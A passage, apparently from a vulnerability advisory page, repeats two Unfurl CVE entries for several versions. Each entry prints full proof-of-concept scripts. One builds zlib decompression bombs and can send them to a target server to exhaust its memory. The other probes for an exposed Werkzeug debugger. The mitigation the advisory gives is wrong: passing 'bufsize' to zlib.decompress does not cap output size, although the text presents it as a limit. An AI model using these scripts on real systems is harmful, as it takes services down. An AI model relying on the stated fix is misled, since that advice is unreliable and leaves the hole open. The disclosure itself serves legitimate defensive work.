╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jul 03, 2020

20200630.4 minor

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 30, 2020

20200630.3 minor

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
